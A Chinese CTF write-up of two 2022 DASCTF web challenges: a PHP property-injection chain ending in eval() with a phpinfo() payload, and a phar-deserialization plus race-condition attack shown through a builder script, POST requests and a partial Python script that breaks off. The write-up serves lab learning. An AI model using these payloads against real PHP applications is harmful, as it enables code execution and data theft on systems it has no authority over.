2022DASCTF Apr X FATE 防疫挑战赛 部分web复现

warmup-php

一个PHP代码审计审计题,给的代码量有点大,第一眼看下去容易劝退,分别有四个文件。

Base.php

<?php

class Base
{

    public function __get($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter)) {
            return $this->$getter();
        } else {
            throw new Exception("error property {$name}");
        }
    }

    public function __set($name, $value)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter)) {
            return $this->$setter($value);
        } else {
            throw new Exception("error property {$name}");
        }

    }

    public function __isset($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter))
            return $this->$getter() !== null;

        return false;
    }

    public function __unset($name)
    {
        $setter = 'set' . $name;
        if (method_exists($this, $setter))
            $this->$setter(null);

    }
    public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }

}
Filter.php

<?php


class Filter extends Base
{

    public $lastModified;

    public $lastModifiedExpression;

    public $etagSeed;

    public $etagSeedExpression;
    
    public $cacheControl='max-age=3600, public';

    
    public function preFilter($filterChain)
    {

        $lastModified=$this->getLastModifiedValue();
        $etag=$this->getEtagValue();

        if($etag===false&&$lastModified===false)
            return true;

        if($etag)
            header('ETag: '.$etag);

        if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkLastModified($lastModified)&&$this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE']))
        {
            if($this->checkLastModified($lastModified))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }
        }
        elseif(isset($_SERVER['HTTP_IF_NONE_MATCH']))
        {
            if($this->checkEtag($etag))
            {
                $this->send304Header();
                $this->sendCacheControlHeader();
                return false;
            }

        }

        if($lastModified)
            header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT');

        $this->sendCacheControlHeader();
        return true;
    }

    
    protected function getLastModifiedValue()
    {
        if($this->lastModifiedExpression)
        {
            $value=$this->evaluateExpression($this->lastModifiedExpression);
            if(is_numeric($value)&&$value==(int)$value)
                return $value;
            elseif(($lastModified=strtotime($value))===false)
                throw new Exception("error");
            return $lastModified;
        }

        if($this->lastModified)
        {
            if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified)
                return $this->lastModified;
            elseif(($lastModified=strtotime($this->lastModified))===false)
                throw new Exception("error");
            return $lastModified;
        }
        return false;
    }

    
    protected function getEtagValue()
    {
        if($this->etagSeedExpression)
            return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
        elseif($this->etagSeed)
            return $this->generateEtag($this->etagSeed);
        return false;
    }

    
    protected function checkEtag($etag)
    {
        return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag;
    }

    
    protected function checkLastModified($lastModified)
    {
        return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified;
    }

    
    protected function send304Header()
    {
        header('HTTP/1.1 304 Not Modified');
    }
    
    protected function generateEtag($seed)
    {
        return '"'.base64_encode(sha1(serialize($seed),true)).'"';
    }
}
ListView.php

<?php

abstract class ListView extends Base
{

    public $tagName='div';
    public $template;

    public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }


    public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }


    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }
}
TestView.php

<?php

class TestView extends ListView
{
    const FILTER_POS_HEADER='header';
    const FILTER_POS_BODY='body';

    public $columns=array();
    
    public $rowCssClass=array('odd','even');
    
    public $rowCssClassExpression;
    
    public $rowHtmlOptionsExpression;
    
    public $selectableRows=1;

    public $data=array();
    public $filterSelector='{filter}';
    
    public $filterCssClass='filters';
    
    public $filterPosition='body';
    
    public $filter;
    
    public $hideHeader=false;
    


    
    public function renderTableHeader()
    {
        if(!$this->hideHeader)
        {
            echo "<thead>\n";

            if($this->filterPosition===self::FILTER_POS_HEADER)
                $this->renderFilter();


            if($this->filterPosition===self::FILTER_POS_BODY)
                $this->renderFilter();

            echo "</thead>\n";
        }
        elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY))
        {
            echo "<thead>\n";
            $this->renderFilter();
            echo "</thead>\n";
        }
    }
    
    public function renderFilter()
    {
        if($this->filter!==null)
        {
            echo "<tr class=\"{$this->filterCssClass}\">\n";

            echo "</tr>\n";
        }
    }
    
    public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }

        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];

        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }
    public function renderTableBody()
    {
        $data=$this->data;
        $n=count($data);
        echo "<tbody>\n";

        if($n>0)
        {
            for($row=0;$row<$n;++$row)
                $this->renderTableRow($row);
        }
        else
        {
            echo '<tr><td colspan="'.count($this->columns).'" class="empty">';

            echo "</td></tr>\n";
        }
        echo "</tbody>\n";
    }

}

这四个文件类的继承与被继承的关系为

题目如下,我们能控制的变量有两个,一个是action,可以访问四个类中的任意一个,另一个是properties,可以通过数组可以控制文件中任意属性的值。这题可以从头到尾分析,也可以从尾找头。

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?>

我们看看从尾找到头,盲目找链子非常的头疼,所以我们选择先找到目的函数也就是我们的尾,经过分析在Base类中找到了evaluateExpression函数存在eval可以利用。

    public function evaluateExpression($_expression_,$_data_=array())
    {
        if(is_string($_expression_))
        {
            extract($_data_);
            return eval('return '.$_expression_.';');
        }
        else
        {
            $_data_[]=$this;
            return call_user_func_array($_expression_, $_data_);
        }
    }

接下来就是找什么函数能调用它,经过审计发现了Filter类TestView类有可以调用的,我们一起看看,

//Filter.php

 protected function getLastModifiedValue()
    {
        if($this->lastModifiedExpression)
        {
            $value=$this->evaluateExpression($this->lastModifiedExpression);
            if(is_numeric($value)&&$value==(int)$value)
                return $value;
            elseif(($lastModified=strtotime($value))===false)
                throw new Exception("error");
            return $lastModified;
        }


...
    
}

...


    protected function getEtagValue()
    {
        if($this->etagSeedExpression)
            return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression));
        elseif($this->etagSeed)
            return $this->generateEtag($this->etagSeed);
        return false;
    }

这两个都可以调用我们的目的函数,但是什么可以调用他们呢?查看了一圈,应该是Base类中的__get()方法,但是我们题目似乎无法触发__get()方法,题目进行的是赋值操作,也就是写,所以最多是调用__set()方法。所以这条路堵死了。

    public function __get($name)
    {
        $getter = 'get' . $name;
        if (method_exists($this, $getter)) {
            return $this->$getter();
        } else {
            throw new Exception("error property {$name}");
        }
    }

所以我们只有一个方法就是从TestView调用,

    public function renderTableRow($row)
    {
        $htmlOptions=array();
        if($this->rowHtmlOptionsExpression!==null)
        {
            $data=$this->data[$row];
            $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data));
            if(is_array($options))
                $htmlOptions = $options;
        }

        if($this->rowCssClassExpression!==null)
        {
            $data=$this->dataProvider->data[$row];
            $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data));
        }
        elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0)
            $class=$this->rowCssClass[$row%$n];

        if(!empty($class))
        {
            if(isset($htmlOptions['class']))
                $htmlOptions['class'].=' '.$class;
            else
                $htmlOptions['class']=$class;
        }
    }

接下来说就是比较简单的思路了,我们选择从头走到尾,我们再看看题目。

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }

它的$object用哪个类先不着急判断,我们看后面$object->run(),这种情况要么就是调用__call()魔术方法,要么就是看看其它类中的run()函数,我们看看就知道没有__call()方法,所以我们找run(),可以看到只有ListView类中有run()函数,所以很大的可能我们的$action是实例化为ListView对象了。我们继续看run()方法,

    public function run()
    {
        echo "<".$this->tagName.">\n";
        $this->renderContent();
        echo "<".$this->tagName.">\n";
    }

可以看到run()调用了renderContent()方法,

    public function renderContent()
    {
        ob_start();
        echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template);
        ob_end_flush();
    }

ob_start()是开启缓存读取,可以读到一些输出的缓存。preg_replace_callback是一个正则回调函数,把正则匹配到的数据放入函数的参数中,它这里把template中匹配到正则的值传入renderSection函数的参数中,所以再看看renderSection

    protected function renderSection($matches)
    {
        $method='render'.$matches[1];
        if(method_exists($this,$method))
        {
            $this->$method();
            $html=ob_get_contents();
            ob_clean();
            return $html;
        }
        else
            return $matches[0];
    }

可以看到,这里可以调用到一个以"render"为首的函数输出出来,以render为首的无参函数,而以render为首的函数都在TestView中,所以我们开始实例化对象时是对ListView子类TestView实例,而我们既然能调用到TestView中的函数,而我们的目的函数可以通过TestView中的renderTableRow调用,那就正合我意,但由于是无参函数,而renderTableRow带参,所以我们想办法从其它的几个函数下手再通过调用链接他们。

经过分析可以得知renderTableBody可以调用到renderTableRow,所以我们选择先调用renderTableBody,最后就闭合了。ok最后再来把链子思路再捋一捋,

TestView::run() --> TestView::renderContent() --> TestView::renderSection() --> TestView::renderTableBody() --> TestView::renderTableRow() --> TestView::evaluateExpression()

这就是题目思路的链子了,我们最后要做的就是把传入的参数控制好,如:template与正则匹配正确要记得加大括号,data数据要赋值,否则TestView::renderTableBody() --> TestView::renderTableRow()无法实现。

最后的payload为:

GET: 

?action=TestView

POST: 

properties[template]={TableBody} &properties[data]=2&properties[rowHtmlOptionsExpression]=phpinfo(); 

这里的flag.txt不知道是没有权限还是假flag,如果是没有权限一般出题人在根目录下留下一个/readflag命令读取flag

soeasy_php 

这是一道phar+条件竞争的上传题,不要相信题目的意思,打了这么多ctf总结了一句话,easy***是最难的题。这个题在比赛的时候我们已经把源码拿到了,但是不知道怎么下手了,最后就摆烂到结束了。

 两个参数隐藏,一个按钮注释,这个是action=“edit.php”的操作。另外还有个head.png

感觉像个装图片内容的容器,因为是黑盒测试不知道里面是什么,所以我们只能大胆猜测。

 

把注释和隐藏删除就出来了,我们抓个包。

png参数上传了一个2.png,我们试试在web页面上传一张图片,再把图片传入png参数。

  

 既然我们猜测head.png是一个容器,以某些命令执行可以装入png传入的图片,那么我们就想能不能在png传全局路径的文件名,再通过head.png显示出来。试试,

成功了,那么我们就能读到题目的源码分别是edit.phpupload.php 

//upload.php   感觉这个没什么用

<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功: ".$path;
};
?>
//edit.php   
<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}


if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

核心代码在于edit.php,从注释中我们可以知道,flag在根目录,并且我们是没有权限读取/flag的,所以我们要把/flag搞到/tmp/flag.txt中,

class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

我们得想办法触发这个flag类中的copyflag()函数,可以看到__destruct()方法是可以触发到copyflag()函数的,那么问题来了,我们该如何调用该类,又该如何触发到__destruct()呢?

通过对edit.php代码的分析,它的过滤和一些东西总是有意无意的暗示我们有一个phar文件,我们能不能绕过。

 $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };

这里就很关键,我们如果上传了一个phar文件我们要想办法让它执行unlink()触发__destruct()

我们构造的phar文件很简单,如下

<?php
class flag{
}
$a = new flag();
echo serialize($a);
$phar = new Phar("tmp.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a); 
$phar -> addFromString("errorr0.txt","errorrrrr");
$phar -> stopBuffering();
?>

unlink()销毁了$head数据以后symlink()可以顺利执行下去,但是如果我们想办法让$head在来不及销毁就跳到 symlink()函数时,我们就可以跳到else执行unlink()函数,最后把phar中的__destruct()方法调用到,这里可以用到文件上传的条件竞争。

使symlink()报错的方法还有一个就是在$target添加脏数据,使得它不得不报错。

当我们绕过了symlink()flag读取出来写入到/tmp/flag.txt中后,我们原本POST传入的flag会把复制过来的flag给覆盖,所以我们还要利用一次条件竞争把我们复制过来的flag写入。如下:

The First:
POST /edit.php
png=phar://uploads/1bb92ea10c5d93a6a8cecbb98eb48598.png&flag=flag%7Bx%7D
The Second:
POST /edit.php
png=/tmp/flag.txt&flag=flag%7Bx%7D
The Third:
GET /uploads/head.png

我们最后要把这三个线程跑到我们希望的那个值即可,这里偷用一个师傅的脚本跑,如果不会写脚本我们也可以用burpsuite多线程跑出来。

 

import requests
import threading
import time

url = "http://1e18fc43-974f-411d-bda5-9740172e2486.node4.buuoj.cn:81/"
phar = r"phar://uploads/000f7488ac1aa2d52a400c2e1a46f1a6.png/errorr0.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
flag = r"/tmp/flag.txt"
